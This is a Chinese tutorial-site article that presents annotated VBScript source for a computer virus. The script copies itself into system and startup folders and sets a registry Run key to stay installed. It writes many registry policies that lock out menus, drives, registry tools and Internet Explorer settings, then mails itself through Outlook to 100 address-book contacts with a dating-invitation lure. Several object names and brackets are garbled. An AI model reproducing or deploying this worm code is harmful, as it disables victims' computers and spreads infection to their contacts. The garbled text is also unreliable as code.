学习啦>学习电脑>电脑安全>病毒知识>

电脑病毒源代码介绍

林辉分享

  电脑中了病毒想从它的源代码入手怎么办呢!有学习啦小编在,下面由学习啦小编给你做出详细的电脑病毒源代码介绍!希望对你有帮助!

  电脑病毒源代码介绍:

  电脑病毒源代码一:

  on error resume next

  set fs=createobject("ing.filesystemobject" '创建一个能与操作系统沟通的对象,再利用该对象的各种方法对注册表进行操作

  set dir1=fs.getspecialfolder(0) '获取windows/winnt文件夹位置

  set dir2=fs.getspecialfolder(1) '获取system32/system文件夹位置

  set so=createobject("ing.filesystemobject"

  dim r '定义一个变量

  set r=createobject("w.shell"

  so.getfile(w.fullname).copy(dir1&"\win32system.vbs" '复制病毒副本到windows/winnt文件夹位置

  so.getfile(w.fullname).copy(dir2&"\win32system.vbs" '复制病毒副本到system32/system文件夹位置

  so.getfile(w.fullname).copy(dir1&"\start menu\programs\启动\win32system.vbs" '复制病毒副本到start menu启动菜单

  '下面是对注册表的恶意修改和简单的依靠oe传播

  r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\norun",1,"reg_dword" '修改注册表,禁止“运行”菜单

  r.regwrite "kcu\software\microsoft\windows\currentversion\policies\explorer\noclose",1,"reg_dword" '修改注册表,禁止“关闭”菜单

  r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nodrives",63000000,"reg_dword" '修改注册表,隐藏所有逻辑盘符

  r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\system\disableregistrytools",1,"reg_dword" '修改注册表,禁止注册表编辑

  r.regwrite "hklm\software\microsoft\windows\currentversion\run\scanregistry","" '修改注册表,禁止开机注册表扫描

  r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nologoff",1,"reg_dword" '修改注册表,禁止“注销”菜单

  r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\winoldapp\norealmode",1,"reg_dword" '修改注册表,禁止ms-dos实模式

  r.regwrite "hklm\software\microsoft\windows\currentversion\run\win32system","win32system.vbs" '修改注册表,使这个脚本本身开机自动运行

  r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nodesktop",1,"reg_dword" '修改注册表,禁止显示桌面图标

  r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\winoldapp\disabled",1,"reg_dword" '修改注册表,禁止纯dos模式

  r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nosettaskbar",1,"reg_dword" '修改注册表,禁止“任务栏和开始”菜单

  r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\noviewcontextmenu",1,"reg_dword" '修改注册表,禁止右键菜单

  电脑病毒源代码二:

  r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nosetfolders",1,"reg_dword" '修改注册表,禁止控制面板

  r.regwrite "hklm\software\classes\.reg\","txtfile" '修改注册表,禁止导入使用.reg文件,改为用txt文件的关联

  r.regwrite "hklm\software\microsoft\windows\currentversion\winlogon\legalnoticecaption","警告" '设置开机提示框标题

  r.regwrite "hklm\software\microsoft\windows\currentversion\winlogon\legalnoticetext","您中vbs脚本病毒了,哭吧~" '设置开机提示框文本内容

  set ol=createobject("outlook.application" '创建outlook文件对象用于传播

  on error resume next

  for x=1 to 100

  set mail=ol.createitem(0)

  mail.to=ol.getnamespace("mapi".addresslists(1).addressentries(x) '用于向地址簿的前100名发送此 vbs病毒,可以算是简单弱智的蠕虫了吧~~

  mail.subject="今晚你来吗?" '邮件主题

  mail.body="朋友你好:您的朋友rose给您发来了热情的邀请。具体情况请阅读随信附件,祝您好运! 同城约会网" '邮件内容

  mail.attachments.add(dir2&"win32system.vbs"

  mail.send

  next

  ol.quit

  '下面是对internet explore 选项的恶意修改

  r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nobrowsercontextmenu",1,"reg_dword" '修改注册表,禁止鼠标右键

  r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nobrowseroptions",1,"reg_dword" '修改注册表,禁止internet选项

  r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nobrowsersaveas",1,"reg_dword" '修改注册表,禁止“另存为”

  r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nofileopen",1,"reg_dword" '修改注册表,禁止“文件/打开”菜单

  r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\advanced",1,"reg_dword" '修改注册表,禁止更改高级页设置

  r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\cache internet",1,"reg_dword" '修改注册表,禁止更改临时文件设置

  r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\autoconfig",1,"reg_dword" '修改注册表,禁止更改自动配置

  r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\homepage",1,"reg_dword" '修改注册表,禁止更改主页,即“主页”变灰

  r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\history",1,"reg_dword" '修改注册表,禁止更改历史记录设置

  r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\connwiz admin lock",1,"reg_dword" '修改注册表,禁止更改internet连接向导

  r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\securitytab",1,"reg_dword" '修改注册表,禁止更改安全项

  r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\resetwebsettings",1,"reg_dword" '修改注册表,禁止“重置web设置”

  r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\noviewsource",1,"reg_dword" '修改注册表,禁止查看源文件

  r.regwrite "hkcu\software\policies\microsoft\internet explorer\infodelivery\restrictions\noaddingsubions",1,"reg_dword" '修改注册表,禁止添加脱机计划

  r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nofilemenu",1,"reg_dword" '修改注册表,禁止“文件”菜单
看了“电脑病毒源代码介绍”文章的还看了:

1.电脑病毒源代码详细介绍

2.电脑病毒机器狗的源代码

3.电脑病毒检测方法介绍

4.编写电脑病毒代码

    613416